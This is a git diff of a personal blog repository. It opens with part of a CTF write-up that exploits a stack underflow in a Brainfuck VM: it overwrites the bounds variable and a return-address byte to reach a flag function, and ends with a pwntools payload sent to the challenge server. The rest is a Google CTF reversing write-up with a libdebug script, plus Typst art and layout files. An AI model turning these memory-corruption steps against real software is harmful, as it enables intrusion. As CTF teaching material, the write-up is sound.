fclose(stream); +} +``` + +This means that we can solve the chal by achieving a control flow redirection to it, maybe even just by subtracting something from a byte from a pointer stored on the stackt that points to somewhere on the same segment. + +This is the main execution loop of the vm: + + +```c + __int64 __fastcall interpret_program(__int64 a1) +{ + char v2; // [rsp+1Dh] [rbp-143h] + char v3; // [rsp+1Eh] [rbp-142h] + char v4; // [rsp+1Fh] [rbp-141h] + int v5; // [rsp+20h] [rbp-140h] + int v6; // [rsp+24h] [rbp-13Ch] + __int64 v7; // [rsp+28h] [rbp-138h] + __int64 v8; // [rsp+30h] [rbp-130h] + unsigned __int64 i; // [rsp+38h] [rbp-128h] + char *idx_a; // [rsp+40h] [rbp-120h] + char *idx_b; // [rsp+48h] [rbp-118h] + _QWORD v12[34]; // [rsp+50h] [rbp-110h] BYREF + + v12[33] = __readfsqword(0x28u); + qmemcpy(v12, &unk_2300, 0x108u); + v7 = 0; + v8 = 0; + while ( 1 ) + { + do + { + while ( 1 ) + { + do + { + while ( 1 ) + { + do + { + while ( 1 ) + { + do + { + while ( 1 ) + { + do + { + while ( 1 ) + { + v2 = *(_BYTE *)(a1 + v7); + idx_a = (char *)&v12[1] + v8; + idx_b = (char *)v12 + v12[0] + 7; + if ( v2 != 93 ) + break; + if ( *((_BYTE *)&v12[1] + v8) ) + { + v6 = 1; + while ( v6 > 0 ) + { + if ( !v7 ) + { + puts("No matching '[' found in code"); + return 1; + } + --v7; + v3 = *(_BYTE *)(a1 + v7); + if ( v3 == 91 ) + --v6; + if ( v3 == 93 ) + ++v6; + } + } + ++v7; + } + } + while ( v2 > 93 ); + if ( v2 != 91 ) + break; + if ( !*((_BYTE *)&v12[1] + v8) ) + { + v5 = 1; + while ( v5 > 0 ) + { + if ( (unsigned __int64)++v7 > 0x59 ) + { + puts("No matching ']' found in code"); + return 1; + } + v4 = *(_BYTE *)(a1 + v7); + if ( v4 == 91 ) + ++v5; + if ( v4 == 93 ) + --v5; + } + } + ++v7; + } + } + while ( v2 > 91 ); + if ( v2 != 62 ) + break; + ++v8; + ++v7; + } + } + while ( v2 > 62 ); + if ( v2 != 60 ) + break; + --v8; + ++v7; + } + } + while ( v2 > 60 ); + if ( v2 != 45 ) + break; + if ( idx_b < idx_a ) + { +LABEL_18: + puts("Out of bounds data access"); + return 1; + } + --*idx_a; + ++v7; + } + } + while ( v2 > 45 ); + if ( v2 == 35 ) + break; + if ( v2 == 43 ) + { + if ( idx_b < idx_a ) + goto LABEL_18; + ++*idx_a; + if ( ++v7 == 431136 ) + mmio_dump_flag(); + } + } + puts("Program halted!"); + puts("Data memory:"); + for ( i = 0; i <= 0xFF; ++i ) + printf("[0x%02hhX] ", *((unsigned __int8 *)&v12[1] + i)); + putchar(10); + printf("data pointer: %zu\n", v8); + return 0; +} +``` + +My initial approach on this one was a dynamic analysis to understand which bound checks there are, we can make a simple test like this: + +- `+[<+]` + - It will keep moving the vm IP to the left (subtracting). + - Assuming there isn't a 255 on the way that will overflow to 0; + +And the same to the right: +- `+[>+]` + +The figure below illustrates the brainfuck vm memory on the stack, and what we're doing by probing to the left or to the right. + +#html.elem("div", attrs: (class: "mt-4 mb-4"))[ + #html.frame()[ + #set text(font: "Myna", fill: mocha.colors.text.rgb, size: 0.85em) + #canvas({ + import draw: * + + + stroke(mocha.colors.blue.rgb + 0.8pt) + fill(mocha.colors.mantle.rgb) + let h = 1.5 + let w = 12 + rect((0, 0), (w, h), name: "box", radius: 0.2) + fill(none) + + stroke(mocha.colors.blue.rgb + 0.8pt) + + line((w * 0.1, 0), (w * 0.1, h), name: "local") + line((w * 0.35, 0), (w * 0.35, h), name: "tape") + line((w * 0.57, 0), (w * 0.57, h), name: "dot") + line((w * 0.65, 0), (w * 0.65, h), name: "rest") + + set-style(content: ( + frame: "rect", + stroke: none, + padding: .4, + )) + + content("local", [local vars], anchor: "west") + content("tape", [bf vm tape], anchor: "west") + content("dot", [...], anchor: "west") + content("rest", [return address, etc], anchor: "west") + content("box.west", [...], anchor: "west") + + set-style(mark: (end: ">")) + stroke(mocha.colors.subtext1.rgb + 1.5pt) + fill(mocha.colors.subtext1.rgb) + line((0, -0.5), (w, -0.5), name: "arrow") + + fill(none) + content( + (0, -1), + text(size: 0.7em, fill: mocha.colors.subtext1.rgb)[lower address], + anchor: "west", + ) + content( + (w, -1), + text(size: 0.7em, fill: mocha.colors.subtext1.rgb)[higher address], + anchor: "east", + ) + + fill(mocha.colors.text.rgb) + stroke(mocha.colors.text.rgb + 1.5pt) + line("tape", (rel: (-0.2, 0))) + line("dot", (rel: (0.2, 0))) + }) + ] +] + + +Executing this we see that increasing the vm IP (going to a higher address on the stack), the vm notices that and stops, but by decreasing the vm IP it just crashes the vm, thus we have a buffer underflow. + +#html.elem("div", attrs: (class: "mt-4 mb-4"))[ + #html.frame()[ + #set text(font: "Myna", fill: mocha.colors.text.rgb, size: 0.85em) + #canvas({ + import draw: * + + + stroke(mocha.colors.blue.rgb + 0.8pt) + fill(mocha.colors.mantle.rgb) + let h = 1.5 + let w = 12 + rect((0, 0), (w, h), name: "box", radius: 0.2) + fill(none) + + stroke(mocha.colors.blue.rgb + 0.8pt) + + line((w * 0.35, 0), (w * 0.35, h), name: "tape") + line((w * 0.57, 0), (w * 0.57, h), name: "dot") + + set-style(content: ( + frame: "rect", + stroke: none, + padding: .4, + )) + + content("tape", [bf vm tape], anchor: "west") + content("box.west", [...], anchor: "west") + content( + "dot", + [...], + anchor: "west", + ) + set-style(mark: (end: ">")) + + + fill(mocha.colors.text.rgb) + stroke(mocha.colors.text.rgb + 1.5pt) + line("tape", (rel: (-1.5, 0))) + }) + ] +] + +This is not immediately useful, since the return addresses that are from function calls that will be returned to after this one (lower stack frames), are down the stack, but our stack grows in the opposite direction, so, the addressess that we want are: + +- lower on the stack +- thus, have higher addressess (our stack grows upside down...) +- and we have an underflow +- so... we can't directly use it to solve the chal + + +#html.elem("div", attrs: (class: "mt-4 mb-4"))[ + #html.frame()[ + #set text(font: "Myna", fill: mocha.colors.text.rgb, size: 0.85em) + #canvas({ + import draw: * + + + stroke(mocha.colors.blue.rgb + 0.8pt) + + fill(mocha.colors.mantle.rgb) + let h = 1.5 + let w = 12 + rect((0, 0), (w, h), name: "box", radius: 0.2) + fill(none) + + stroke(mocha.colors.blue.rgb + 0.8pt) + + line((w * 0.35, 0), (w * 0.35, h), name: "tape") + line((w * 0.57, 0), (w * 0.57, h), name: "dot") + + set-style(content: ( + frame: "rect", + stroke: none, + padding: .4, + )) + + content("tape", [bf vm tape], anchor: "west") + content("box.west", [...], anchor: "west") + content( + "dot", + text(fill: mocha.colors.red.rgb)[where we actually want], + anchor: "west", + ) + set-style(mark: (end: ">")) + + + fill(mocha.colors.text.rgb) + stroke(mocha.colors.text.rgb + 1.5pt) + line("tape", (rel: (-1.5, 0))) + }) + ] +] + +We need to use the underflow to grant more exploitation primitives. This is where a bit of reversing comes in, see the bounds check: + +```c + + 0x555555555681 <interpret_program+417>: mov rax,QWORD PTR [rbp-0x120] + 0x555555555688 <interpret_program+424>: cmp QWORD PTR [rbp-0x118],rax +=> 0x55555555568f <interpret_program+431>: jae 0x5555555556aa <interpret_program+458> +``` + +One of those stores the maximum address for the brainfuck vm's tape, and the other one is the current IP (or tape address if you want to call it that way, etc...). The good news there is that those variables are stored on the stack, as you can see my the instructions loading from specific offsets from the stack base, AND they can be ovewriten by our underflow. + +So, the idea is to use the underflow to increase the maximum address, then make an overflow and change the return address on the stack so that we land on the function to print the flag when the current function returns. + +So breaking this down: + +#textbox()[ + Moving to the left to increase the maximum bound by ovewriting the variable on the stack: + + #html.elem("div", attrs: (class: "mt-4 mb-4"))[ + #html.frame()[ + #set text(font: "Myna", fill: mocha.colors.text.rgb, size: 0.85em) + #canvas({ + import draw: * + + + stroke(none) + fill(mocha.colors.mantle.rgb) + let h = 1.5 + let w = 12 + rect((0, 0), (w, h), name: "box", radius: 0.2) + fill(none) + + stroke(mocha.colors.blue.rgb + 0.8pt) + + line((w * 0.35, 0), (w * 0.35, h), name: "tape") + line((w * 0.57, 0), (w * 0.57, h), name: "dot") + + set-style(content: ( + frame: "rect", + stroke: none, + padding: .4, + )) + + content( + (-0.2, h - 0.5), + text(fill: mocha.colors.teal.rgb)[ #strong[+<+<+<+ ]], + anchor: "east", + ) + + + content("tape", [bf vm tape], anchor: "west") + content("box.west", [tape_end_var], anchor: "west") + content( + "dot", + [...], + anchor: "west", + ) + set-style(mark: (end: ">")) + + + fill(mocha.colors.red.rgb) + stroke(mocha.colors.red.rgb + 1.5pt) + line("tape", (rel: (-1.5, 0))) + }) + ] + ] + + - `>>>-` + - This is moving back to the right to start our journey down the stack (by going up...) + + + + + + #html.elem("div", attrs: (class: "mt-4 mb-4"))[ + #html.frame()[ + #set text(font: "Myna", fill: mocha.colors.text.rgb, size: 0.85em) + #canvas({ + import draw: * + + + stroke(none) + fill(mocha.colors.mantle.rgb) + let h = 1.5 + let w = 12 + rect((0, 0), (w, h), name: "box", radius: 0.2) + fill(none) + + stroke(mocha.colors.blue.rgb + 0.8pt) + + line((w * 0.35, 0), (w * 0.35, h), name: "tape") + line((w * 0.57, 0), (w * 0.57, h), name: "dot") + + set-style(content: ( + frame: "rect", + stroke: none, + padding: .4, + )) + + content( + (0.2, h - 0.5), + text(fill: mocha.colors.teal.rgb)[ #strong("+[>[<-]<[->+<]>]")], + anchor: "east", + ) + + content("tape", [bf vm tape], anchor: "west") + content( + "box.west", + text(fill: mocha.colors.red.rgb)[tape_end_var], + anchor: "west", + ) + set-style(mark: (end: ">")) + + + fill(mocha.colors.text.rgb) + stroke(mocha.colors.text.rgb + 2.5pt) + line("dot", (rel: (4, 0))) + }) + ] + ] + + + + + #linebreak() + + - `>>>>>>>>>>>>>>>` + - Then we move the IP to point to the cell right before the byte we want to modify. + + At this point, this will be the tape: + + ``` + we are here + | + v + 10 d2 ff ff ff 7f 00 00 35 54 55 55 55 55 00 00 00 00 00 00 00 00 00 00 + ``` + + #linebreak() + + We are right next to the return address, I'll highlight it + + + ``` + we are here + | return address here + v /-----------------------\ + 10 d2 ff ff ff 7f 00 00 |35 54 55 55 55 55 00 00| 00 00 00 00 00 00 00 00 + ``` + + Since it's little endian, it's not `35 54 55 55 55 55 00 00`, it's actually `0000555555555435`. + + #linebreak() + + Our objective is to increase that single byte from `0x35` to `0x66`, to that the return address points to the flag function + + ``` + we are here + | + v + 10 d2 ff ff ff 7f 00 00 35 54 55 55 55 55 00 00 00 00 00 00 00 00 00 00 + | + | just increase a little from 0x35 to 0x66 + | + v + 10 d2 ff ff ff 7f 00 00 66 54 55 55 55 55 00 00 00 00 00 00 00 00 00 00 + + ``` + + that's `49` in decimal. + + #linebreak() + + - Since it's just `7*7` (that's a cool number), we can compute `49` as `7*7` in brainfuck, which is the last part of the exploit + - `+++++++[>+++++++<-]` + +] + +#linebreak() + + +Putting it all together: + +```python + +from pwn import * + + +p = '+<+<+<+>>>-+[>[<-]<[->+<]>]>>>>>>>>>>>>>>>+++++++[>+++++++<-]#' + +io = remote('ctfi.ng', 31415) +io.sendline(p.encode()) +io.interactive() + +``` diff --git a/trees/blog/feed.typ b/trees/blog/feed.typ new file mode 100644 index 0000000..2cb9bd5 --- /dev/null +++ b/trees/blog/feed.typ @@ -0,0 +1,17 @@ +#import "lib.typ": entries + +#let base = "https://0x4200.cafe/" + +#for e in entries { + html.elem("item")[ + + #html.elem("title")[ + #text(e.name) + ] + + #html.elem("h1")[ + #text(base + e.file.replace(".typ", ".html").replace("./", "")) + ] + + ] +} diff --git a/trees/blog/figures/frieze-old.typ b/trees/blog/figures/frieze-old.typ new file mode 100644 index 0000000..6ccc79e --- /dev/null +++ b/trees/blog/figures/frieze-old.typ @@ -0,0 +1,78 @@ +#import "@preview/cetz:0.4.2" +#import cetz.draw: * + +#show text: it => smallcaps(it) +#set page(width: auto, height: auto) + +#let domain = { + let tolerance = 0.05 + set-style(stroke: color.blue) + line((tolerance, tolerance), (1.0 - tolerance, 1.0 - tolerance), stroke: 2pt) + set-style(stroke: color.red) + line((0.5, 0.8), (1.0 - tolerance, 1.0 - tolerance)) + set-style(stroke: color.black) + line((0.8, 0.5), (1.0 - tolerance, 1.0 - tolerance)) +} + +#let frieze(n, start, mode, draw-grid: false, x-step: 1) = { + cetz.canvas({ + set-style(stroke: color.blue) + translate(start) + if draw-grid { + grid( + (0, 0), + (n, 1), + stroke: red.transparentize(80%), + ) + } + + let i = 0 + let angles = (0deg, 180deg) + let transform = if mode == "hop" { + ang => () + } else if mode == "sidle" { + ang => (rotate(y: ang, origin: (0.5, 0.5))) + } else if mode == "step" { + ang => (rotate(x: ang, origin: (0.5, 0.5))) + } else if mode == "spinning sidle" { + ang => (rotate(y: ang, origin: (0.5, 0.5))) + } else if mode == "spinning hop" { + ang => (rotate(z: ang, origin: (0.5, 0.5))) + // ang => { + // if ang == 180deg { + // translate(x: -1) + // rotate(z: ang, origin: (0.5, 0.0)) + // } else { + // // translate(x: -0.5) + // rotate(z: ang, origin: (0.5, 0.0)) + // } + // } + } + + while i < n { + let ang = calc.rem(i, angles.len()) + + transform(angles.at(ang)) + domain + transform(angles.at(-ang)) + + translate(x: x-step) + + i += 1 + } + }) +} + + +hop +#frieze(8, (0, 0), "hop") +spinning hop +// #frieze(16, (0, 4), "spinning hop", x-step: 0.5) +#frieze(8, (0, 4), "spinning hop") +step +#frieze(8, (0, 10), "step") +sidle +#frieze(8, (0, 2), "sidle") +spinning sidle +#frieze(8, (0, 2), "spinning sidle") + diff --git a/trees/blog/figures/frieze.typ b/trees/blog/figures/frieze.typ new file mode 100644 index 0000000..de0a603 --- /dev/null +++ b/trees/blog/figures/frieze.typ @@ -0,0 +1,189 @@ +#import "@preview/cetz:0.4.2" +#import cetz.draw: * + +#show text: it => smallcaps(it) +#set page(width: auto, height: auto) + +#let fish = { + let tolerance = 0.0 + set-style(stroke: color.red) + line( + (tolerance, tolerance), + (1.0 - tolerance, 1.0 - tolerance), + (0.75, 1.), + (0.5, 0.9), + fill: color.red, + close: true, + ) + set-style(stroke: color.blue) + + line( + (tolerance, tolerance), + (1.0 - tolerance, 1.0 - tolerance), + (0.9, 0.5), + stroke: 1pt, + fill: color.blue, + close: true, + ) + circle( + (.0 - tolerance, .0 - tolerance), + radius: 0.05, + fill: color.black, + stroke: color.black, + ) +} + +#let trig = { + line((0.0, 0.2), (0.5, 1.0), (1.0, 0.2)) + line((0.0, 0.5), (0.5, 0.0), (1.0, 0.5), stroke: 2pt) + circle((0.85, 0.0), radius: 0.12, stroke: 1.5pt + color.black) +} + +#let domain = { + set-style(stroke: color.rgb(180, 190, 254)) + line( + // (0.0, 0.75), + (0.0, 0.1), + (0.25, 0.1), + (0.25, 0.75), + (0.75, 0.75), + (0.75, 0.40), + (0.55, 0.40), + (0.55, 0.60), + (0.35, 0.60), + (0.35, 0.1), + (0.35, 0.1), + (1.0, 0.1), + // (1.0, 0.75), + stroke: 1.2pt, + ) + circle( + (0, 0.5), + radius: 0.1, + fill: color.rgb(235, 160, 172), + stroke: color.rgb(235, 160, 172), + ) + circle((1.0, 0.0), radius: 0.2, fill: color.rgb(180, 190, 254)) +} + +#let frieze(n, start, mode, draw-grid: false, x-step: 1) = { + cetz.canvas({ + set-style(stroke: color.blue) + translate(start) + if draw-grid { + grid( + (0, 0), + (n, 1), + stroke: red.transparentize(80%), + ) + } + + let i = 0 + let c = (0.5, 0.5) + let transforms = ( + "hop": (i => (translate(x: x-step)),), + "spinning hop": ( + i => { + translate(x: x-step) + rotate(z: i * 180deg, origin: c) + }, + i => { + translate(x: -x-step) + rotate(z: i * 180deg, origin: c) + }, + ), + "step": ( + i => { + rotate(x: i * 180deg, origin: c) + translate(x: x-step) + }, + ), + "sidle": ( + i => { + translate(x: x-step) + rotate(y: i * 180deg, origin: c) + }, + i => { + translate(x: -x-step) + rotate(y: i * 180deg, origin: c) + }, + ), + "spinning sidle": ( + i => { + translate(x: x-step) + rotate(y: i * 180deg, origin: c) + }, + i => { + translate(x: -x-step) + rotate(z: i * 180deg, origin: c) + }, + i => { + translate(x: x-step) + rotate(y: i * 180deg, origin: c) + }, + i => { + translate(x: -x-step) + rotate(z: i * 180deg, origin: c) + }, + // i => { + // translate(x: x-step) + // rotate(z: i * 180deg, origin: c) + // }, + // i => { + // translate(x: x-step) + // rotate(x: i * 180deg, origin: c) + // }, + ), + "jump": ( + i => { + translate(y: -x-step) + rotate(x: i * 180deg, origin: c) + translate(x: x-step) + }, + i => { + rotate(x: i * 180deg, origin: c) + translate(y: x-step) + }, + ), + "spinning jump": ( + i => { + translate(x: -x-step) + rotate(y: i * 180deg, origin: c) + }, + i => { + rotate(x: i * 180deg, origin: c) + translate(y: x-step) + }, + i => { + translate(y: -x-step) + rotate(z: i * 180deg, origin: c) + translate(x: -x-step) + }, + i => { + rotate(x: i * 180deg, origin: c) + translate(y: x-step) + }, + ), + ) + + while i < n { + let it = calc.rem(i, transforms.at(mode).len()) + + transforms.at(mode).at(it)(1) + domain + // translate(x: x-step) + + i += 1 + } + }) +} + +#let n = 40 + +#frieze(n, (0, 0), "hop") +#frieze(n * 2, (0, 14), "spinning jump") +#frieze(n, (0, 4), "spinning hop") +#frieze(n, (0, 10), "step") +#frieze(n, (0, 2), "sidle") +#frieze(n * 2, (0, 12), "jump") +#frieze(n, (0, 2), "spinning sidle") diff --git a/trees/blog/figures/genuary-2026-1.typ b/trees/blog/figures/genuary-2026-1.typ new file mode 100644 index 0000000..85d63de --- /dev/null +++ b/trees/blog/figures/genuary-2026-1.typ @@ -0,0 +1,24 @@ +#import "@preview/cetz:0.4.2" +#set page(fill: color.black, width: auto, height: auto) + +#let day1 = { + cetz.canvas({ + import cetz.draw: * + + set-style(stroke: color.white) + let phi = 0.9 + let n = 8 + while phi < n { + let i = 0 + while i < (n - phi) { + let x = calc.sin(i) + let y = calc.cos(i) + circle((x, y + phi * 5), radius: phi) + i = i + 0.5 + } + phi = phi + 1 + } + }) +} + +#day1 diff --git a/trees/blog/figures/rotating-snakes.typ b/trees/blog/figures/rotating-snakes.typ new file mode 100644 index 0000000..bb3fd05 --- /dev/null +++ b/trees/blog/figures/rotating-snakes.typ @@ -0,0 +1,17 @@ +#import "@preview/cetz:0.4.2" +#set page(fill: color.black) + +#cetz.canvas({ + import cetz.draw: * + + set-style(stroke: color.white) + // set-style(fill: color.white) + + set-style(fill: color.white) + arc((2, 0), start: 0deg, stop: 300deg, mode: "PIE", anchor: "origin") + arc((6, 0), start: 240deg, stop: 540deg, mode: "PIE", anchor: "origin") + arc((4, -3.14), start: 120deg, stop: 420deg, mode: "PIE", anchor: "origin") + + set-style(stroke: color.blue) + line((4, 1), (3, -1)) +}) diff --git a/trees/blog/genuary-2026.typ b/trees/blog/genuary-2026.typ new file mode 100644 index 0000000..d2afc02 --- /dev/null +++ b/trees/blog/genuary-2026.typ @@ -0,0 +1,13 @@ +#import "html_elements.typ": post +#import "./figures/genuary-2026-1.typ": day1 +#show: post + +#link("https://genuary.art/")[Genuary] is a yearly event on each january where people share their loves for programming and art. + +_Note that the layout might be broken on mobile devices, I'm still figuring out how to format the daily entries_. + += 1 - One color, one shape. + +#html.frame[ + #day1 +] diff --git a/trees/blog/googlectf-2025.typ b/trees/blog/googlectf-2025.typ new file mode 100644 index 0000000..716f1b7 --- /dev/null +++ b/trees/blog/googlectf-2025.typ @@ -0,0 +1,360 @@ +#import "./html_elements.typ": post + +#show: post + +// +++ +// title = 'Googlectf 2025' +// date = 2025-06-30T17:45:28-03:00 +// draft = false +// tags = ['rev', 'ctf'] +// +++ + + + += rev-multiarch-1 (126 points / 99 solves) + +#box()[#html.frame()[#text(size: 8em, fill: rgb("#74c7ec").darken(10%))[T]]] +his challenge was solved by me and #link("https://lobisomem.gay")[Matt]. + +The challenge files were a Linux executable and a misterius `crackme.masm` file. + +We worked together by him reversing the actual VM runtime and I was reversing +the binary file format and was writing some python code to interact with it. + +In the first day we were actually sidetracked trying to solve `pwn-multiarch-2`, +it wasn't until the end of the day that then we realized that there's the +`rev-multiarch-1` and they're based on the same vm binary. It didn't change our +methodology to solve it, since we are still reversing it at that time, but this +time we had a valid program with the `crackme.masm`. + +Below is the reversing of the main function, as you can see it's pretty straight +forward: + +```c +__int64 __fastcall main(int a1, char **f, char **a3) +{ + char *segments; // rax + __int64 v4; // rbp + char *stuff; // rbx + + setbuf(stdin, 0); + setbuf(stdout, 0); + setbuf(stderr, 0); + if ( a1 <= 1 ) + { + fprintf(stderr, "[E] usage: %s [path to .masm file]\n", *f); + return 2; + } + else + { + fwrite("[I] initializing multiarch emulator\n", 1u, 0x24u, stderr); + segments = (char *)parse_bin(f[1]); + v4 = (__int64)segments; + if ( segments ) + { + stuff = build_vm_state(segments); + fwrite("[I] executing program\n", 1u, 0x16u, stderr); + while ( (unsigned __int8)run_vm((__int64)stuff) ) + ; + if ( stuff[48] ) + { + fwrite("[E] execution failed\n", 1u, 0x15u, stderr); + debug_print_vm((__int64)stuff, 1); + } + else + { + fwrite("[I] done!\n", 1u, 0xAu, stderr); + } + sub_555555555427(stuff); + call_free(v4); + return 0; + } + else + { + fwrite("[E] couldn't load multiarch program\n", 1u, 0x24u, stderr); + return 1; + } + } +} +``` + +Note the `debug_print_vm` function, it was pretty useful to undestand the vm +state struct since it prints the stack and all four registers. + +Below is the assembly code that prepares the arguments for the printf call, +note that all arguments are being read relative to `rdi`, which holds the +address of the vm state struct. + +```asm +mov ecx, [rdi+3Bh] +mov edx, [rdi+37h] +mov esi, [rdi+33h] +mov eax, [rdi+47h] +push rax +mov r9d, [rdi+43h] +mov r8d, [rdi+3Fh] +lea rdi, debug_fmt_string ; " ---[ PC=0x%08x SP=0x%08x | A=0x%08x B"... +mov eax, 0 +call _printf +add rsp, 10h +test bpl, bpl +jnz short loc_555555556A8F +``` + +At this point we had a good idea about the how the program worked, but we wanted +to understand what the `crackme.masm` does. + +This is the hexdump of the whole file: + + + +Just seeing the strings we can get a pretty good idea of what it does: + +- It has four bytes at the start, being the magic bytes for the MASM file. +- It seems like it consists of three seperate challenges, seeing the strings +near the end. + + +At this step what I'd do would be to debug it in `gdb` to see what's happening, +i.e. where it reads input we control, and how it's used when deciding if a +challenge step is correct or not. The issue is that since this is a VM, for +every instruction executed by it, in `gdb` we see a lot of code and function +calls related to the implementation of the VM itself, doing the fetch, decode +and execute cycle. + +> Given the amount of solves this challenge had, I believe most +> people just solved this manually on `gdb`, but I *really* wanted to try a +> new tool... + += libdebug + +This is where #link("https://github.com/libdebug/libdebug")[libdebug] comes in, it's +basically a python library to automate `ptrace` debugging, it's pretty cool and +since I discovered it, I hadn't had the opportunity to use it yet. + +With the script below I was able to debug the `crackme.masm` with an interactive +debugger, that I could even add breakpoints and single step instructions. + + +```python +from libdebug import debugger, libcontext +from pwn import u64, u32, u8 + +cur_vm = 'stackvm' +cur_cycle = 0 + +hit_vm_bp = False +vm_breakpoints = [ + #0 + #18, # challenge 1 ends + #49 +] +vm_ip_breakpoints = [ + # 0x131, # regvm loop cmp + #0x5a, # chal1 cmp + #0x7c, + 0x88, # chal2 cmp + #0xcd, # chal3 cmp? + 0xdd, # chal3 actual cmp? + 0x10b, # chal3 actual actual idk? + #0x12d, # xor r1 r3 +] +prev_input_dbg = '' +vm_stop = [] + +STACKVM_MNEMONICS = { + 0xa0: 'S.SYSCALL', + 0x10: 'S.LDB', + 0x20: 'S.LDW', + 0x30: 'S.LDD', + 0x40: 'S.LDP', + 0x50: 'S.POP', + 0x60: 'S.ADD', + 0x61: 'S.SUB', + 0x62: 'S.XOR', + 0x63: 'S.AND', + 0x70: 'S.JMPI', + 0x71: 'S.JMPI.EQ?', + 0x72: 'S.JMPI.NE?', + 0x80: 'S.SCMP', + 0xff: 'S.HLT', +} + + +def stackvm_mnemonic(ins, is_ip=False): + opcode = ins & 0xff + dat = ins >> 8 + mnemonic = hex(opcode) + if opcode in STACKVM_MNEMONICS: + mnemonic = STACKVM_MNEMONICS[opcode] + + if (0x70 <= opcode <= 0x72) and is_ip: + print('DIDJMP!!!!!!!!!!!') + + return f'{mnemonic} {hex(dat)}' + +d = debugger(['./multiarch', './crackme.masm'], aslr=False) +io = d.run() + +mem_access = d.breakpoint(0x00005555555554B3) +cycle_tick = d.breakpoint(0x0000555555556FFF) + +d.cont() +io.sendline(b'2405061754') +io.sendline(b'\x46\x91') +io.sendline(f'{0x2b6043c}'.encode()) + +d.wait() + +should_stop = False + +def regvm_disasm(code_adr, ip): + # a lot of boring code... + # you can use your imagination for this function. + +def stackvm_disasm(code_adr, ip): + for i in range(ip, ip + (8 * 5), 5): + ins = u64(d.memory.read(i + code_adr, 5).ljust(8, b'\x00')) + if i == ip: + print('>', end='') + print(f'{i:08x}\t{stackvm_mnemonic(ins, i==ip)}\t{ins:05x}') + +def disasm(off, ip, code_adr): + if cur_vm == 'stackvm': + stackvm_disasm(code_adr, ip) + else: + raw_instr = u64(d.memory.read(code_adr+ip, 8)) + print(f'raw: {raw_instr:016x}\n') + acc = ip + for i in range(0, 8): + s, bytes_read = regvm_disasm(code_adr, acc) + print(f'{acc:08x}\t{s}') + acc += bytes_read + print('') + +def print_stack(sp, stack_adr): + print('-------stack sp: ', hex(sp), hex(stack_adr)) + + for i in range(sp - (4 * 5), sp + (4 * 5), 4): + cur = u32(d.memory.read(stack_adr + i, 4)) + if i == sp: + print('>', end='') + print(f'{cur:08x}') + + print('') + +def calc_mode(ip): + i = ip >> 3 + mode_ptr = u64(d.memory.read(d.regs.rbx + 0x18, 8)) + mask = u8(d.memory.read(mode_ptr+i, 1)) + bit_idx = ip & 7 + return (mask >> bit_idx) & 1 + +while not should_stop: + if hit_vm_bp: + i = input('masmdbg> c/n/q: ') + match i: + case 'c': + hit_vm_bp = False + case 'n': + vm_breakpoints.append(cur_cycle) + hit_vm_bp = False + case '': + vm_breakpoints.append(cur_cycle) + hit_vm_bp = False + case 'q': + vm_stop.append(cur_cycle) + hit_vm_bp = False + case _: + continue + prev_input_dbg = i + + if cycle_tick.hit_on(d): + ip = u32(d.memory.read(d.regs.rbx + 0x33, 4)) - 0x1000 + if cur_cycle in vm_breakpoints or ip in vm_ip_breakpoints: + mode = calc_mode(ip) + if mode: + cur_vm = 'regvm' + else: + cur_vm = 'stackvm' + print(f'\n\n========masm debugger=== {cur_vm} {cur_cycle}\nip -> {ip:08x}') + + r0 = u32(d.memory.read(d.regs.rbx + 0x3b, 4)) + r1 = u32(d.memory.read(d.regs.rbx + 0x3f, 4)) + r2 = u32(d.memory.read(d.regs.rbx + 0x43, 4)) + r3 = u32(d.memory.read(d.regs.rbx + 0x47, 4)) + + sp = u32(d.memory.read(d.regs.rbx + 0x37, 4)) - 0x8000 + + code_adr_ptr = u64(d.memory.read(d.regs.rbx, 8)) + stack_adr_ptr = u64(d.memory.read(d.regs.rbx+0x10, 8)) + + print(f'~~~ REGS\n\t{r0:08x}\n\t{r1:08x}\n\t{r2:08x}\n\t{r3:08x}\n~~~~~') + disasm(0, ip, code_adr_ptr) + print_stack(sp, stack_adr_ptr) + print('========cycle ended=====\n\n') + hit_vm_bp = True + + if cur_cycle in vm_stop: + should_stop = True + continue + + cur_cycle += 1 + d.cont() + d.wait() + + elif mem_access.hit_on(d): + pos = d.regs.rsi + sz = d.regs.rdx + d.cont() + d.wait() + + elif not d.running: + io.interactive() + should_stop = True + +``` + +Below is how it looks like in action: + +``` +masmdbg> c/n/q: + + +========masm debugger=== regvm 139 +ip -> 000000bd +~~~ REGS + 88c0ffee + 7a213a1c + 00000000 + 00000000 +~~~~~ +raw: 00631100ffffff10 + +000000bd PUSHI 0x00ffffff +000000c2 PUSH REG(0) +000000c3 JMPI.NE 0x00000000 +000000c8 SUB REG(13), REG(13) +000000ca UNKNOWN(0xff) +000000cb UNKNOWN(0xc0) +000000cc NOP +000000cd CMPI REG(0), 0x00000000 + +-------stack sp: 0xee0 0x7ffff7fbc000 +00000000 +00000000 +f2f2f2f2 +88c0ffee +000010bd +>00009146 +00000000 +00000000 +00000000 +00000000 + +========cycle ended===== + +``` + +As you can see the disassembler wasn't 100% complete, but it was enough to +manually reverse the `masm` file and solve it. diff --git a/trees/blog/html_elements.typ b/trees/blog/html_elements.typ new file mode 100644 index 0000000..79ea49f --- /dev/null +++ b/trees/blog/html_elements.typ @@ -0,0 +1,151 @@ +#import "lib.typ": centerbox, entries, rightbox, separator, textbox +#import "./figures/frieze.typ" +#import "@preview/cetz:0.4.2" + + +#let footer() = { + let m(c) = { html.elem("div", attrs: (class: "text-xs font-bold"))[ #c ] } + + centerbox[ + #m[#link("/index.html")[`HOME`]] + #m[#link("/index.xml")[`FEED`]] + #m[#link("https://github.com/gbrls/gbrls.github.io")[`SOURCE`]] + #m[#link("https://infosec.exchange/@gbrls")[`MSTDN`]] + #m[#link("mailto:[email protected]")[`[email protected]`]] + ] +} + +#let entry-to-html(entry) = { + let path = entry.file.replace(".typ", ".html") + let pad = "." * 80 + + let end = "" + if entry.at("date", default: 0) > 0 { + end = box()[#html.frame()[#text(font: "Myna", fill: rgb("#8c8fa1"), str( + entry.date, + ))]] + } else { + end = text("....") + } + + text[ + + // #link(path)[#text(entry.name)]#text(pad.slice(entry.name.len()))#text( end, ) + #text(end)#link(path)[#text(entry.name)] + ] +} + +#let post(contents) = { + html.elem("head")[ + #html.elem("meta", attrs: ( + charset: "UTF-8", + name: "viewport", + content: "width=device-width, initial-scale=1.0", + )) + #html.elem("title")[0x4200.cafe] + #html.elem("link", attrs: (rel: "stylesheet", href: "style_compiled.css")) + ] + + // simple backticks like `0x4200` + show raw.where(lang: none, block: false): it => [ + #html.elem("span", attrs: ( + class: "text-red", + ))[#it] + ] + + show raw.where(block: true): it => [ + 